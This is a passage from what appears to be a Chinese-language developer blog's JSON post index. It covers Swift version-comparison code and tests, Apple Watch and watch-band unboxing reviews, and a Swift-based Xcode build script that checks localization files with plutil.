@objcMembers、也妥協使用兼容OC 的寫法。 (其實可以直接 VersionOperator 使用 enum: String、Result 使用 tuple/struct) *若實作物件派生自 NSObject 在實作 Comparable/Equatable == 時記得也要實作 !=,原始 NSObject 的 != 操作不會是你預期的結果。2.實作 Comparable 方法:extension Version: Comparable { static func < (lhs: Version, rhs: Version) -> Bool { if lhs.major < rhs.major { return true } else if lhs.major == rhs.major { if lhs.minor < rhs.minor { return true } else if lhs.minor == rhs.minor { if lhs.patch < rhs.patch { return true } } } return false } static func == (lhs: Version, rhs: Version) -> Bool { return lhs.major == rhs.major && lhs.minor == rhs.minor && lhs.patch == rhs.patch } static func != (lhs: Version, rhs: Version) -> Bool { return !(lhs == rhs) } static func ~> (lhs: Version, rhs: Version) -> Bool { let start = Version(lhs.major, lhs.minor, lhs.patch) let end = Version(lhs.major, lhs.minor, lhs.patch) if end.patch >= 0 { end.minor += 1 end.patch = 0 } else if end.minor > 0 { end.major += 1 end.minor = 0 } else { end.major += 1 } return start <= rhs && rhs < end } func compareWith(_ version: Version, operator: VersionOperator) -> Bool { switch `operator` { case .equal, .unSpecified: return self == version case .notEqual: return self != version case .higherThan: return self > version case .lowerThan: return self < version case .lowerThanOrEqual: return self <= version case .higherThanOrEqual: return self >= version case .optimistic: return self ~> version case .unSupported: return false } }}其實就是實現前文所述判斷邏輯,最後開一個 compareWith 的方法口,方便外部直接將解析結果帶入得到最終判斷。使用範例:let shouldAskUserFeedbackVersion = \">= 2.0.0\"let currentVersion = \"3.0.0\"do { let result = try Version.parse(shouldAskUserFeedbackVersion) result.version.comparWith(currentVersion, result.operator) // true} catch { print(\"version string parse error!\")}或是…Version(1,0,0) >= Version(0,0,9) //true... 支援 &gt;/≥/&lt;/≤/=/!=/~&gt; 操作符。下一步Test cases…import XCTestclass VersionTests: XCTestCase { func testHigher() throws { let version = Version(3, 12, 1) XCTAssertEqual(version > Version(2, 100, 120), true) XCTAssertEqual(version > Version(3, 12, 0), true) XCTAssertEqual(version > Version(3, 10, 0), true) XCTAssertEqual(version >= Version(3, 12, 1), true) XCTAssertEqual(version > Version(3, 12, 1), false) XCTAssertEqual(version > Version(3, 12, 2), false) XCTAssertEqual(version > Version(4, 0, 0), false) XCTAssertEqual(version > Version(3, 13, 1), false) } func testLower() throws { let version = Version(3, 12, 1) XCTAssertEqual(version < Version(2, 100, 120), false) XCTAssertEqual(version < Version(3, 12, 0), false) XCTAssertEqual(version < Version(3, 10, 0), false) XCTAssertEqual(version <= Version(3, 12, 1), true) XCTAssertEqual(version < Version(3, 12, 1), false) XCTAssertEqual(version < Version(3, 12, 2), true) XCTAssertEqual(version < Version(4, 0, 0), true) XCTAssertEqual(version < Version(3, 13, 1), true) } func testEqual() throws { let version = Version(3, 12, 1) XCTAssertEqual(version == Version(3, 12, 1), true) XCTAssertEqual(version == Version(3, 12, 21), false) XCTAssertEqual(version != Version(3, 12, 1), false) XCTAssertEqual(version != Version(3, 12, 2), true) } func testOptimistic() throws { let version = Version(3, 12, 1) XCTAssertEqual(version ~> Version(3, 12, 1), true) //3.12.1 <= $0 < 3.13.0 XCTAssertEqual(version ~> Version(3, 12, 9), true) //3.12.1 <= $0 < 3.13.0 XCTAssertEqual(version ~> Version(3, 13, 0), false) //3.12.1 <= $0 < 3.13.0 XCTAssertEqual(version ~> Version(3, 11, 1), false) //3.12.1 <= $0 < 3.13.0 XCTAssertEqual(version ~> Version(3, 13, 1), false) //3.12.1 <= $0 < 3.13.0 XCTAssertEqual(version ~> Version(2, 13, 0), false) //3.12.1 <= $0 < 3.13.0 XCTAssertEqual(version ~> Version(3, 11, 100), false) //3.12.1 <= $0 < 3.13.0 } func testVersionParse() throws { let unSpecifiedVersion = try? Version.parse(string: \"1.2.3\") XCTAssertNotNil(unSpecifiedVersion) XCTAssertEqual(unSpecifiedVersion!.version == Version(1, 2, 3), true) XCTAssertEqual(unSpecifiedVersion!.versionOperator, .unSpecified) let optimisticVersion = try? Version.parse(string: \"~> 1.2.3\") XCTAssertNotNil(optimisticVersion) XCTAssertEqual(optimisticVersion!.version == Version(1, 2, 3), true) XCTAssertEqual(optimisticVersion!.versionOperator, .optimistic) let higherThanVersion = try? Version.parse(string: \"> 1.2.3\") XCTAssertNotNil(higherThanVersion) XCTAssertEqual(higherThanVersion!.version == Version(1, 2, 3), true) XCTAssertEqual(higherThanVersion!.versionOperator, .higherThan) XCTAssertThrowsError(try Version.parse(string: \"!! 1.2.3\")) { error in XCTAssertEqual(error is VersionUnSupported, true) } }}目前打算將 Version 再進行優化、效能測試調整、整理打包,然後跑一次建立自己的 cocoapods 流程。不過目前已經有很完整的 Version 處理 Pod 專案,所以不必要重造輪子,單純只是想順一下建立流程XD。也許也還會為已有的輪子提交實作 ~&gt; 的 PR。參考資料: Xcode Help 語意化版本 2.0.0 How to compare two app version strings in Swift mrackwitz/Version有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "Apple Watch 原廠不鏽鋼米蘭錶帶開箱", "url": "/posts/c0f99f987d9c/", "categories": "ZRealm, Life.", "tags": "apple-watch, 生活, 開箱, apple, 米蘭錶帶", "date": "2020-11-02 23:23:46 +0800", "snippet": "Apple Watch 原廠不鏽鋼米蘭錶帶開箱Apple 原廠不鏽鋼 44 公釐石墨色米蘭式錶環開箱緊接著上篇「 Apple Watch Series 6 開箱 & 兩年使用心得 」這次也終於狠下心入手了 原廠的米蘭錶帶 ,其實兩年前就想入手但一直沒下手;這次正好一次更新,反正蘋果保證錶帶能通用在所有後續的 Apple Watch 版本,所以不擔心之後更新手錶後錶帶不能使用。優點米蘭...", "content": "Apple Watch 原廠不鏽鋼米蘭錶帶開箱Apple 原廠不鏽鋼 44 公釐石墨色米蘭式錶環開箱緊接著上篇「 Apple Watch Series 6 開箱 & 兩年使用心得 」這次也終於狠下心入手了 原廠的米蘭錶帶 ,其實兩年前就想入手但一直沒下手;這次正好一次更新,反正蘋果保證錶帶能通用在所有後續的 Apple Watch 版本,所以不擔心之後更新手錶後錶帶不能使用。優點米蘭錶帶由不鏽鋼織網與磁力錶環組成,不鏽鋼織網的好處是透氣、速乾;磁力錶環讓整條錶帶能調整至任意位置、更貼合手、穿戴方便、磁力很強不怕會掉;最重要的是讓 Apple Watch 整體更為正式、更好配合穿搭。缺點夾毛髮、夾毛髮、夾毛髮、比較重。原廠 vs 副廠?潛伏在 Apple 社團許久,觀察到大家最常問的問題就是米蘭錶帶原廠 vs 副廠的問題;個人覺得差別不大,主要還是在細節跟做工,原廠同樣會夾毛髮,但原廠的編織作工很細膩一體成型、磁貼部分磁力很強不會鬆動、乾淨親膚不會有鐵鏽味,但價差也差了好幾倍(原廠要價 $ 3,100),最好還是都先摸過實品再決定,個人猜測副廠 1~2千的米蘭錶帶應該就幾乎等於原廠的做工了。尺寸同 上篇 ,建議手較小的購買 Apple Watch 40 mm,因為 40 mm 的米蘭錶帶,手腕圍為 130–180 mm;相較 44 mm 的米蘭錶帶,手腕圍 150–200 mm 再短 20 mm。錶帶是一體成型長度無法調整;如果錶帶已經調到緊繃還是太大那只能考慮副廠,不然就吃胖點(?)所以還是去門市試戴一下比較保險。 朋友的案例,手太小買 44 + 米蘭錶帶,只能貼到底還有點「ㄌㄤ」!開箱 * 2020/11/01 購於 Apple Store 101 直營店。一樣樸實無華的紙質包裝包裝背面現在也不叫太空灰了,叫石墨色。內容物類似原廠矽膠錶帶,但差別在沒有多附短版的錶帶XD本體磁力錶扣磁力錶扣,可吸在任意位置,任意調整表環大小安裝指示有磁貼的那邊在下在外扣入 Apple Watch 本體。 不要像我一樣一開始裝反還不知道,雖然也沒差?:正確版!完成!實戴圖背面實戴圖正面補充原廠錶帶細節 *簡易辨別原廠/副廠米蘭錶帶的方法,但不一定準確;從合法通路購入才能確保不被騙!連接端 - 靠近磁力錶扣的那端 — 底部 — 有「Assembled in China」字樣連接端另一端 — 表面 — 有「44MM」字樣===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "Apple Watch Series 6 開箱 & 兩年使用體驗", "url": "/posts/eab0e984043/", "categories": "ZRealm, Life.", "tags": "apple, apple-watch-series-6, apple-watch, 生活, 開箱", "date": "2020-10-14 20:48:38 +0800", "snippet": "Apple Watch Series 6 開箱 & 兩年使用心得Apple Watch Series 6 開箱及選購指南&兩年使用心得體驗彙整前言時光飛逝,距離 上一篇開箱 Apple Watch Series 4 的文章 也已經過了兩年了;以功能來說 Series 4 綽綽有餘沒有升級的必要,Series 5/Series 6 沒有什麼核心的突破功能,都是有會更好、沒有也沒關係的更...", "content": "Apple Watch Series 6 開箱 & 兩年使用心得Apple Watch Series 6 開箱及選購指南&兩年使用心得體驗彙整前言時光飛逝,距離 上一篇開箱 Apple Watch Series 4 的文章 也已經過了兩年了;以功能來說 Series 4 綽綽有餘沒有升級的必要,Series 5/Series 6 沒有什麼核心的突破功能,都是有會更好、沒有也沒關係的更新。但因 小鬼的新聞 ,所幸將原有的 Series 4 LTE 版先給家人配戴使用了;LTE 版遇到狀況可以不受手機有沒有在身邊的限制,都能撥出緊急電話,相較 GPS 版更加安全。個人的使用習慣是出門配戴,回家就拔下來充電,睡覺不會配戴,所以少了睡眠體驗的部分。我 Series 4 買的是 LTE 版,但由於手機都會帶在身邊實在沒必要每個月多付 $199 月費開通,而且在手錶上回訊息很麻煩、接電話也要有 AirPods 才方便,再加上手錶上的 Spotify 純粹是播放控制器,無法離開 iPhone 獨立播放(只有 Apple Music/KKBOX 可) and… 本人是 iOS APP / watchOS APP 開發者[2020–10–24 更新] :Spotify 已支援獨立播放,在手錶 Spotify APP 中選擇播放裝置->Apple Watch->連線藍牙耳機->即可播放!(依然還不支援離線下載播放,需再有網路環境下才可使用)。Apple Watch Series 6 開箱直接進入本文重頭戲。下單這次選擇 GPS 44’mm 鋁合金版賽普樂絲綠(軍綠),搭配我的 iPhone 11 Pro 軍綠。沒有跟到第一批購買,我 9/15 晚上下單: 系統給的預估收到時間 10/16~10/19(可能剛好遇到大陸國慶長假) 10/10 通知發貨,預估 10/13 前就能拿到 10/13 通知因海關延誤到貨日期可能稍有延誤 實際 10/14 拿到,不過還是比原始預估收貨時間來得早了!開箱Apple Watch + 犀牛盾保護殼組翻開背面,開箱!開箱全過程完全用不到刀子,一路撕到底。Open!一個錶帶一個機體。這一代包裝厚度明顯減少許多(少了豆腐頭)機體開箱只附磁吸充電線。機體特寫這次機體的保護材質改為紙製的,上一代我記得是黑色的絨布。錶帶開箱組合!背面組合時可先安裝上半部錶帶,再拉掉紙質保護套,比較不容易手滑。Apple Watch 6 + iPhone 11 Prowith 奧樂雞泳圈雞Apple Watch 6 with 犀牛盾保護殼血氧測試玩一下這代的主打功能。隨顯螢幕休眠 vs 顯示時挺好的現在開始螢幕不會熄滅,不用抬腕等螢幕亮查看消息! 開箱結束。兩年使用心得彙整整理一下這兩年的使用感覺和我自己的選購指南。提升生活體驗增加專注力Apple Watch 作為手機的延伸,定位在手機與人之間的緩衝;我們目前對電子產品的依賴就是直面手機、直面紛紛擾擾的通知資訊。不知道你是否跟我一樣覺得手機的通知很嚇人,即使是震動所發出的聲音也是,有時收到通知心臟也跟著抖了一下;接著下意識就拿出手機看了看,重要的事再接著處理、不重要的話就收起手機;然後這個流程每天不斷的重複在生活之中…雖然你大可以關閉聲音通知、關閉靜音時震動、甚至關閉所有通知功能;但另一方面你也因此與世界脫鉤,錯過了真的重要的通知訊息,結果產生另一種無時無刻都拿手機出來檢查的焦慮。綜合以上狀況 Apple Watch 就能在其中充當潤滑劑,在人與手機之間多加了一個漏斗進行過濾,手錶配戴中&手機休眠時僅手錶會通知,可以設定特定 APP 的通知才會傳到手錶、關閉特定 APP 通知聲音/震動。你可能會說,這些設定不是跟手機一樣?但就體驗來說,手錶的聲音/震動更為輕柔不干擾,即使你關閉聲音/震動也能在抬腕時快速查看有無通知。日常體驗的提升在及增加專注力的方式就是在手錶上快速 Review 通知訊息,然後決定要繼續當前的工作,還是拿出手機處理訊息內容;中間被打斷的時間非常短(就是看手錶的時間)、也避免一直拿出手機會分心其他事情,增加做事效率。健康生活、記錄運動透過有 Apple Watch 才能使用的獨佔的「健身」APP,能記錄你一天的生活,包含每天活動量、走路、心跳、運動紀錄,活動量增減統計、更仔細的健康資訊;社群方面還能與朋友競賽活動量、解鎖勳章,增加運動動力。不過運動很看人,會運動的人還是會運動、不會運動的人也不會因為手錶而去運動;他頂多就是增加了運動的紀錄跟趣味性。Apple Pay手機都不用拿出來手錶按兩下就能感應付款,非常方便;尤其在已經大包小包的時候,沒有多餘的手去口袋掏手機出來時;另外也能安裝有支援 Apple Watch APP 的發票 APP,先點 APP 開載具條碼讓店員掃,然後再按兩下叫出 Apple Pay 付款。我個人最常見的使用習慣是用手機 widget 讓店員掃載具或是會員條碼(如 7–11/全家,因他們也沒提供 Apple Watch APP),然後在快速按兩下手錶叫出 Apple Pay,同一隻手感應付款。 存裡面,不用收據。個人風格隨你搭配錶面、錶帶都能隨時依照你的心情更換;錶面固定了幾個,幾個上班用、幾個放假用;錶帶這兩年買了四條…有皮革的、有金屬的、有編織的,還有保護殼顏色更換…根據穿搭搭配。蘋果全家桶連動 手錶可直接解鎖 Mac 電腦 手錶可一鍵查找手機(強迫手機發出嘟嘟聲) 手錶可當藍芽自拍按鈕,控制手機鏡頭拍照查看天氣個人很習慣看手錶的當前天氣狀況、降雨機率,一目瞭然;我用手機看都要點好幾層才能看到我要的資訊。鬧鐘及計時倒數計時器跟鬧鐘也是我很愛用的功能,可以快速在手錶上啟動倒數計時器,在配戴手錶的情況下計時器到跟鬧鐘響時都會透過手錶通知你(如果手錶開靜音則用手錶震動提醒你)個人覺得非常舒服,尤其是想自己小憩一下時,怕鬧鐘鈴聲或手機鬧鐘震動會打擾到其他同事。地圖騎機車時蠻好用的,可以 直接查看路線地圖 、路線/轉彎震動提示;但缺點就是地圖沒有針對機車優化,要 自己注意禁行機車路線 ,路線規劃能力普通。手錶查看路線地圖Google Map 最近重回 Apple Watch ,但沒辦法直接查看路線地圖,只有文字導航提示功能。跌倒偵測因最近大家很注意這個項目,特別列出來分享個人觸發經驗;有一次坐車上車時左手快速且大力地蹬了一下座椅,觸發成功跌倒偵測;搭會先瘋狂連續震動和發出聲音呼叫你,看你有沒有意識,如果不理他 30 秒後就會播打緊急電話及通知設定的緊急聯絡人。Apple Watch 跌倒偵測 實測,1分鐘打給119救援。 - watchOS 5 之前是超過 65 歲才會預設開啟跌倒偵測、小於 65 歲預設是關閉的;這部分可以確認一下設定。 - 緊急聯絡人可指定多位,需事先設定。推薦安裝的 APP有看過 前一篇開箱 的朋友,那篇文章除了開箱、使用教學,還有一些 APP 推薦;老實說後來我都刪了,只留內建的 APP 跟一些常用的通訊軟體;因為只有一開始新奇會裝一堆 APP,後來也都沒在用。說實話需要複雜操作的時候你會用手機,手錶真的只需要快速而已。Apple Watch 這兩年的發展如同前述,Series 4 與 Series 6 功能、產品定位方面都沒有變;都是 iPhone 手機的延伸,並非要取代 iPhone;這兩年並沒有突破性功能,續航也還是一天一充。第三方 APP 方面兩年來沒新增多少,但有越來越多的趨勢;Line、Goolge Map 最近更新也都加強了 Apple Watch APP 部分,沒有被遺忘。之前寫過一篇文章分享 自己動手做 Apple Watch APP 的經驗,基於 watchOS 5 開發,可以發現官方開放的功能很少(目前也差不多),所以第三方能發揮的空間有限以至於 APP 很少。watchOS目前已更新到 watchOS 7,同 iOS 一年一更。watchOS 6: 加入環境噪音偵測、月經記錄(適合女性朋友)、網路對講機watchOS 7: 加入睡眠追蹤功能、洗手時洗手時間輔助提示、家庭共享功能watchOS 7 家庭共享功能 (僅限 LTE 版)這部分我因為把原本 Series 4 手錶讓給家人有實際體驗過,可 參考此開箱影片 ;這功能手錶是綁在你的手機上、手錶要在附近才能更改設定,設定流程完成後部分設定無法再調整要重新設定,被共享的家人只能使用,不能自行客製化。好處是配戴者不一定要是 iPhone 用戶! 根據 官網資料 ,此功能僅限配備行動網路 LTE 版 Series 4 後續機型才能使用!選購指南到底該不該買?我想會看到這邊的朋友,80% 都已經想買了;我覺得如果是科技愛好者值得買來玩玩、如果手錶對你來說是配件,同樣的價格可以買到更美的、如果是只為了運動而買,有更好的運動錶可以考慮,Apple Watch 偏綜合需求及增強體驗所設計。 小鬼的案例其實有 Apple Watch 也無法避免因小鬼是洗完澡出浴室時跌倒,Apple Watch 防水但並不防水蒸氣 ,如果時常戴手錶洗澡很容易就壞掉了、另外因為要一天一充一般都是洗澡時拔下來充電,也不會配戴。 依然還只是手機的延伸、蘋果實驗性產品 一天一充,出門也都要帶充電器 在從 Series 4 更換到 Series 6 時中間隔了兩三週都沒戴,個人感覺也沒差。Series 6 or SE or 二手 Series 4/5?性能上都很足夠再撐個3~5年都還行,有預算當然買新不買舊,追求 CP 值可以購買 SE ,如果預算有限可以買二手 Series 4/5/LTE版,較好入手。 Apple Watch 僅能與 iPhone 配對( Android 手機、iPad 都無法 ),另外也要考慮當前手機 iOS 版本, watchOS 7 僅限配對 iOS ≥ 14 以上機種 ( watchOS 6 => iOS ≥ 13/watchOS 5 => iOS ≥ 12) iPhone 要先升級到相對應的最低 iOS 版本才能配對使用。Series 6 / SE 不附豆腐充電頭。watchOS 7 的 家庭共享功能 (可查看小孩動向狀態、老人健康狀況) 只限 Series 4 以上版本或 SE 版 。鋁合金 or 不鏽鋼 or 鈦金屬?不鏽鋼版本 (感謝同事友情支援)看你怎麼定位這隻錶,如果是新奇好玩買鋁合金就好;如果要加強飾品配件屬性則買不鏽鋼以上版本,更美更好搭。鋁合金版二手市場需求較多,新一代出來比較好脫手(我的 Series 4 還能賣到 7~8千)。鋁合金版的機身跟玻璃都較脆弱、螢幕玻璃也不抗刮,建議再多買保護殼+貼滿版保護貼。保護殼(約 $400)+ 保護貼建議找水凝貼、果凍貼(約 $800)否則容易遇到不貼合問題;總計約再多+ $1500 鋁合金版也能有完整的保護。 另外附上血淚教訓,如果你有貼保護貼一定要買保護殼否則容易碎邊(我因為這樣重貼了三張損失快 $3000)、保護貼一定要找好的能貼合的不然會很難用,都是浪費$。小豪包膜的 HAO 果凍膠滿版玻璃保護貼全透明&全膠完全貼合,不影響滑動順暢跟顯示。犀牛盾+保護貼 螢幕會變稍微厚一點點,所以內框可能會有一點浮起(看保護殼的公差),不過卡扣都還是扣得進去。 小豪包膜是說建議不要多塞犀牛盾的內框會比較容易擠壓到保護貼,只用外框就好;但我 Series 4 這個狀態用了兩年都沒事,所以大家就自行斟酌囉。40mm or 44mm?看你手的粗細,男生一般建議戴 44,太小有點怪。 如果你要買鋁合金+保護殼要考慮加上保護殼的大小會不會太大。GPS or LTE 行動網路版?考量到之前買 LTE 都沒用這次改買 GPS 版了,便宜 $ 3000。GPS or LTE 的考量點除了你會不會有場景會只戴手錶出門,還有最近大家最在意的跌倒報警功能, GPS 版僅限手機在身邊或手錶有辦法連到當前網路環境 WiFi 下,手錶連線到手機進行緊急報警 (若條件無法成立則一樣無法通知報警);LTE 版則可獨立運作,相對更安全;手機與手錶間通訊也是一樣,GPS版或未開通 LTE,則透過手機在手錶附近、手錶有辦法連到當前網路環境 WIFI 下進行通訊。 手錶有辦法連到當前網路環境 WiFi 的意思是,手機、手錶曾經連線過此 WiFi ,系統有紀錄能直接連線。watchOS 7 的 家庭共享功能 (可查看小孩動向狀態、老人健康狀況) 只有 LTE 版能使用 ,因為 手錶的資料是傳回設定人(家長)而非配戴者的手機 。錶帶部分錶帶只區分: 大的: 42 (Apple Watch 3 以下)/ 44 (Apple Watch 4 以上) 小的: 38 (Apple Watch 3 以下)/ 40 (Apple Watch 4 以上)且蘋果表示保證錶帶尺寸都不會更改(不然誰買 Hermès 版XD)至少目前 1~6 代錶帶都能共通。 Apple Watch 原廠不鏽鋼米蘭錶帶開箱 :Apple Watch 原廠不鏽鋼米蘭錶帶開箱一般版 / Nike 版 / Hermès 版Nike 版只多 Nike 版專屬錶面,Hermès 版除了有Hermès 版專屬錶面還是Hermès 錶帶配不銹鋼版本。升級指南如果你現在手上的是 Series 3/Series 2/Series 1 建議可升級,至少升到 Series 4 ;4 開始螢幕變滿版(很多新的錶面都要求 4 以上才能用)、處理器效能更好幾乎不會卡頓,升級有感。Series 4 可升可不升,畢竟主要只差在隨時顯示螢幕及血氧計,Apple Watch 的抬腕顯示夠快夠敏捷,隨時顯示當然更好但也沒一定要;血氧計部分沒通過醫療驗證,僅作參考。如果已經有 Series 5,可以再等等下一代,沒有升級的必要。詳細比較可參考官網「 比較所有錶款 」,還有些細節功能的差異,例如:高度計、指南針…等等Apple 官網===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "Xcode 直接使用 Swift 撰寫 Run Script!", "url": "/posts/41c49a75a743/", "categories": "ZRealm, Dev.", "tags": "ios, shell-script, xcode, ios-app-development, toolkit", "date": "2020-09-17 23:53:20 +0800", "snippet": "Xcode 直接使用 Swift 撰寫 Shell Script!導入 Localization 多語系及 Image Assets 缺漏檢查、使用 Swift 打造 Shell Script 腳本Photo by Glenn Carstens-Peters緣由因為自己手殘,時常在編輯多語系檔案時遺漏「;」導致 app build 出來語言顯示出錯再加上隨著開發的推移語系檔案越來越龐大,重複...", "content": "Xcode 直接使用 Swift 撰寫 Shell Script!導入 Localization 多語系及 Image Assets 缺漏檢查、使用 Swift 打造 Shell Script 腳本Photo by Glenn Carstens-Peters緣由因為自己手殘,時常在編輯多語系檔案時遺漏「;」導致 app build 出來語言顯示出錯再加上隨著開發的推移語系檔案越來越龐大,重複的、已沒用到的語句都夾雜再一起,非常混亂(Image Assets 同樣狀況)。一直以來都想找工具協助處理這方面的問題,之前是用 iOSLocalizationEditor 這個 Mac APP,但它比較像是語系檔案編輯器,讀取語系檔案內容&編輯,沒有自動檢查的功能。期望功能build 專案時能自動檢查多語系有無錯誤、缺露、重複、Image Assets 有無缺漏。解決方案要達到我們的期望功能就要在 Build Phases 加入 Run Script 檢查腳本。但檢查腳本需要使用 shell script 撰寫,因自己對 shell script 的掌握度並不太高,想說站在巨人的肩膀上從網路搜尋現有腳本也找不太到完全符合期望功能的 script,再快要放棄的時候突然想到: Shell Script 可以用 Swift 來寫啊 !相對 shell script 來說更熟悉、掌握度更高!依照這個方向果然讓我找到兩個現有的工具腳本!由 freshOS 這個團隊撰寫的兩個檢查工具: Localize 🏁 Asset Checker 👮完全符合我們的期望功能需求! ! 並且他們使用 swift 撰寫,要客製化魔改都很容易。Localize 🏁 多語系檔檢查工具功能: build 時自動檢查 語系檔自動排版、整理 檢查多語系與主要語系之缺漏、多餘 檢查多語系重複語句 檢查多語系未經翻譯語句 檢查多語系未使用的語句安裝方法: 下載工具的 Swift Script 檔案 放到專案目錄下 EX: ${SRCROOT}/Localize.swift 打開專案設定 → iOS Target → Build Phases →左上角「+」 → New Run Script Phases → 在 Script 內容貼上路徑 EX: ${SRCROOT}/Localize.swift4. 使用 Xcode 打開編輯 Localize.swift 檔案進行設定,可以在檔案上半部看到可更動的設定項目://啟用檢查腳本let enabled = true//語系檔案目錄let relativeLocalizableFolders = \"/Resources/Languages\"//專案目錄(用來搜索語句有沒有在程式碼中使用到)let relativeSourceFolder = \"/Sources\"//程式碼中的 NSLocalized 語系檔案使用正規匹配表示法//可自行增加、無需變動let patterns = [ \"NSLocalized(Format)?String\\\\(\\\\s*@?\\\"([\\\\w\\\\.]+)\\\"\", // Swift and Objc Native \"Localizations\\\\.((?:[A-Z]{1}[a-z]*[A-z]*)*(?:\\\\.[A-Z]{1}[a-z]*[A-z]*)*)\", // Laurine Calls \"L10n.tr\\\\(key: \\\"(\\\\w+)\\\"\", // SwiftGen generation \"ypLocalized\\\\(\\\"(.*)\\\"\\\\)\", \"\\\"(.*)\\\".localized\" // \"key\".localized pattern]//要忽略「語句未使用警告」的語句let ignoredFromUnusedKeys: [String] = []/* examplelet ignoredFromUnusedKeys = [ \"NotificationNoOne\", \"NotificationCommentPhoto\", \"NotificationCommentHisPhoto\", \"NotificationCommentHerPhoto\"]*///主要語系let masterLanguage = \"en\"//開啟與係檔案a-z排序、整理功能let sanitizeFiles = false//專案是單一or多語系let singleLanguage = false//啟用檢查未翻譯語句功能let checkForUntranslated = true5. Build!成功!檢查結果提示類型: Build Error ❌ : - [Duplication] 項目在語系檔案內存在重複- [Unused Key] 項目在語系檔案內有定義,但實際程式中未使用到- [Missing] 項目在語系檔案內未定義,但實際程式中有使用到- [Redundant] 項目在此語系檔相較於主要語系檔是多餘的- [Missing Translation] 項目在主要語系檔有,但在此語系檔缺漏 Build Warning ⚠️ : - [Potentially Untranslated] 此項目未經翻譯(與主語系檔項目內容相同) 還沒結束,現在自動檢查提示有了,但我們還需要自行魔改一下。客製化匹配正規表示:回頭看檢查腳本 Localize.swift 頂部設定區塊 patterns 部分的第一項:\"NSLocalized(Format)?String\\\\(\\\\s*@?\\\"([\\\\w\\\\.]+)\\\"\"匹配 Swift/ObjC的 NSLocalizedString() 方法,這個正規表示式只能匹配 \"Home.Title\" 這種格式的語句;假設我們是完整句子或有帶 Format 參數,則會被當誤當成 [Unused Key]。EX: \"Hi, %@ welcome to my app\"、\"Hello World!\" <- 這些語句都無法匹配我們可以新增一條 patterns 設定、或更改原本的 patterns 成:\"NSLocalized(Format)?String\\\\(\\\\s*@?\\\"([^(\\\")]+)\\\"\"主要是調整 NSLocalizedString 方法後的匹配語句,變成取任意字串直到 \" 出現就中止,你也可以 點此 依照自己的需求進行客製。加上語系檔案格式檢查功能:此腳本僅針對語系檔做內容對應檢查,不會檢查檔案格式是否正確(是否有忘記加「 ; 」),如果需要這個功能要自己加上!//....let formatResult = shell(\"plutil -lint \\(location)\")guard formatResult.trimmingCharacters(in: .whitespacesAndNewlines).suffix(2) == \"OK\" else { let str = \"\\(path)/\\(name).lproj\" + \"/Localizable.strings:1: \" + \"error: [File Invaild] \" + \"This Localizable.strings file format is invalid.\" print(str) numberOfErrors += 1 return}//....func shell(_ command: String) -> String { let task = Process() let pipe = Pipe() task.standardOutput = pipe task.arguments = [\"-c\", command] task.launchPath = \"/bin/bash\" task.launch() let data = pipe.fileHandleForReading.readDataToEndOfFile() let output = String(data: data, encoding: .utf8)! return output}增加 shell() 執行 shell script,使用 plutil -lint 檢查 plist 語系檔案格式正確性,有錯、少「;」會回傳錯誤,沒錯會回傳 OK 以此作為判斷!檢查的地方可加在 LocalizationFiles->process( ) -> let location = singleLanguage… 後,約 135 行的地方或參考我最後提供的完整魔改版。其他客製化:我們可以依照自己的需求進行客製,例如把 error 換成 warning 或是拔掉某個檢查功能 (EX: Potentially Untranslated、Unused Key);腳本就是 swift 我們都很熟悉!不怕改壞改錯!要讓 build 時出現 Error ❌:print(\"Project檔案.lproj\" + \"/檔案:行: \" + \"error: 錯誤訊息\")要讓 build 時出現 Warning ⚠️:print(\"Project檔案.lproj\" + \"/檔案:行: \" + \"warning: 警告訊息\")最終魔改版:#!/usr/bin/env xcrun --sdk macosx swiftimport Foundation// WHAT// 1. Find Missing keys in other Localisation files// 2. Find potentially untranslated keys// 3. Find Duplicate keys// 4. Find Unused keys and generate script to delete them all at once// MARK: Start Of Configurable Section/* You can enable or disable the script whenever you want */let enabled = true/* Put your path here, example -> Resources/Localizations/Languages */let relativeLocalizableFolders = \"/streetvoice/SupportingFiles\"/* This is the path of your source folder which will be used in searching for the localization keys you actually use in your project */let relativeSourceFolder = \"/streetvoice\"/* Those are the regex patterns to recognize localizations. */let patterns = [ \"NSLocalized(Format)?String\\\\(\\\\s*@?\\\"([^(\\\")]+)\\\"\", // Swift and Objc Native \"Localizations\\\\.((?:[A-Z]{1}[a-z]*[A-z]*)*(?:\\\\.[A-Z]{1}[a-z]*[A-z]*)*)\", // Laurine Calls \"L10n.tr\\\\(key: \\\"(\\\\w+)\\\"\", // SwiftGen generation \"ypLocalized\\\\(\\\"(.*)\\\"\\\\)\", \"\\\"(.*)\\\".localized\" // \"key\".localized pattern]/* Those are the keys you don't want to be recognized as \"unused\" For instance, Keys that you concatenate will not be detected by the parsing so you want to add them here in order not to create false positives :) */let ignoredFromUnusedKeys: [String] = []/* examplelet ignoredFromUnusedKeys = [ \"NotificationNoOne\", \"NotificationCommentPhoto\", \"NotificationCommentHisPhoto\", \"NotificationCommentHerPhoto\"]*/let masterLanguage = \"base\"/* Sanitizing files will remove comments, empty lines and order your keys alphabetically. */let sanitizeFiles = false/* Determines if there are multiple localizations or not. */let singleLanguage = false/* Determines if we should show errors if there's a key within the app that does not appear in master translations.*/let checkForUntranslated = false// MARK: End Of Configurable Section// MARK: -if enabled == false { print(\"Localization check cancelled\") exit(000)}// Detect list of supported languages automaticallyfunc listSupportedLanguages() -> [String] { var sl: [String] = [] let path = FileManager.default.currentDirectoryPath + relativeLocalizableFolders if !FileManager.default.fileExists(atPath: path) { print(\"Invalid configuration: \\(path) does not exist.\") exit(1) } let enumerator = FileManager.default.enumerator(atPath: path) let extensionName = \"lproj\" print(\"Found these languages:\") while let element = enumerator?.nextObject() as? String { if element.hasSuffix(extensionName) { print(element) let name = element.replacingOccurrences(of: \".\\(extensionName)\", with: \"\") sl.append(name) } } return sl}let supportedLanguages = listSupportedLanguages()var ignoredFromSameTranslation: [String: [String]] = [:]let path = FileManager.default.currentDirectoryPath + relativeLocalizableFoldersvar numberOfWarnings = 0var numberOfErrors = 0struct LocalizationFiles { var name = \"\" var keyValue: [String: String] = [:] var linesNumbers: [String: Int] = [:] init(name: String) { self.name = name process() } mutating func process() { if sanitizeFiles { removeCommentsFromFile() removeEmptyLinesFromFile() sortLinesAlphabetically() } let location = singleLanguage ? \"\\(path)/Localizable.strings\" : \"\\(path)/\\(name).lproj/Localizable.strings\" let formatResult = shell(\"plutil -lint \\(location)\") guard formatResult.trimmingCharacters(in: 